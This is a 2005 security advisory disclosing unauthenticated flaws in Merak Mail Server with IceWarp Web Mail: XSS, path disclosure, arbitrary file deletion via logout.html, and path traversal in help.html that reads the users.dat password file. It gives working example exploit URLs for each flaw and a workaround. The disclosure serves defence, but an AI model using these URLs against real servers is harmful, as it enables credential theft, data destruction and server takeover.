ShineShadow Security Report 30092005-06
TITLE: Multiple vulnerabilities in Merak Mail Server 8.2.4r with Icewarp Web
Mail 5.5.1.
BACKGROUND
Merak Mail Server, with the revolutionary Merak Mail Server GroupWare Server,
cutting-
edge Merak Mail Server Instant Antispam and much more, is the fastest, most
stable, secure and 100% virus free mail server on the market today.
Every day companies choose Merak Mail Server's stability, speed, security,
functionality,
scalability and multi-tiered delegated manageability over products costing
thousands of dollars more yet lacking the sophistication that Merak delivers.
In less than 10 minutes you can have the same professional email server that
organizations
such as NATO, the U.S. Navy, the FBI, Toyota, the U.S. Government, and
many ISP Providers and Developers depend on every day.
Source: www.MerakMailServer.com
VULNERABLE PRODUCT
MERAK Mail Server 8.2.4r with Icewarp Web Mail 5.5.1 (maybe other)
DETAILS
1. Multiple cross-site scripting (XSS) vulnerabilities.
Description:
Remote user, who HAS NOT account on Merak Mail Server, can execute cross-site
scripting
(XSS) attack.
Vulnerable pages:
blank.html
calendar_d.html
calendar_m.html
calendar_w.html
Examples:
http://localhost:32000/mail/blank.html?id=[xss_here]
http://localhost:32000/mail/calendar_d.html?schedule=1&print=1&createdataCX=[xss_here]
http://localhost:32000/mail/calendar_m.html?schedule=1&print=1&createdataCX=[xss_here]
http://localhost:32000/mail/calendar_w.html?schedule=1&print=1&createdataCX=[xss_here]
2. Full install path disclosure.
Description:
Remote user, who HAS NOT account on Merak Mail Server, can disclosure full
install path
of the product. It could be used during attack on an affected system.
Vulnerable script:
bwlist_inc.html
Examples:
http://localhost:32000/mail/bwlist_inc.html
http://localhost:32000/accounts/bwlist_inc.html
3. Deletion arbitrary directories and files on remote system.
Description: Remote user, who HAS NOT account on Merak Mail Server, can delete
arbitrary directories and files on local file system of the remote Merak
server. It could be used for deleting
any data on an affected system or causing denial of service (DOS) conditions.
Vulnerable pages: logout.html
Example:
Deletion arbitrary directory:
http://localhost:32000/mail/logout.html?id=[relative path]
Deletion arbitrary file:
http://localhost:32000/mail/logout.html?id=[relative path]%00blabla
4. PHP inclusion.
Descripttion: Remote user, who HAS NOT account on Merak Mail Server, can view
and download arbitrary files
on an affected system or execute arbitrary PHP code with webmail privileges.
From files user.dat, users.dat
attacker could get users and administrators passwords and take complete control
of a Merak Mail Server.
If Merak Mail Server was been running under administrator account then attacker
could take complete control
of an affected system.
Example:
http://localhost:32000/accounts/help.html?helpid=../../../webmail/config/users.dat%00
EXPLOITATION
IceWarp Web Mail (CONTROL service) must be running on Merak Mail Server
(default ENABLE).
Only web browser is needed for exploitation of this vulnerabilities.
WORKAROUND
Disable Icewarp Web Mail service (Control.exe).
VENDOR STATUS
Not contacted.
SUMMARY
An attacker who successfully exploited vulnerabilities described in this report
could
take complete control of a Merak Mail Server 8.2.4r or an affected remote
system.
Merak Mail Server 8.2.4r with Icewarp Web Mail 5.5.1 also vulnerable to other
(undescribed in this report) critical vulnerabilities. An attacker who
successfully
exploited of this undescribed vulnerabilities could take complete control
of a Merak Mail Server or an affected remote system. I am not advice to use this
product, you must disable Icewarp Web Mail service.
CREDITS
ShineShadow, independent IT security expert.
To get more information, please contact me by e-mail.
30.09.2005
ShineShadow,
ss_contacts@hotmail.com
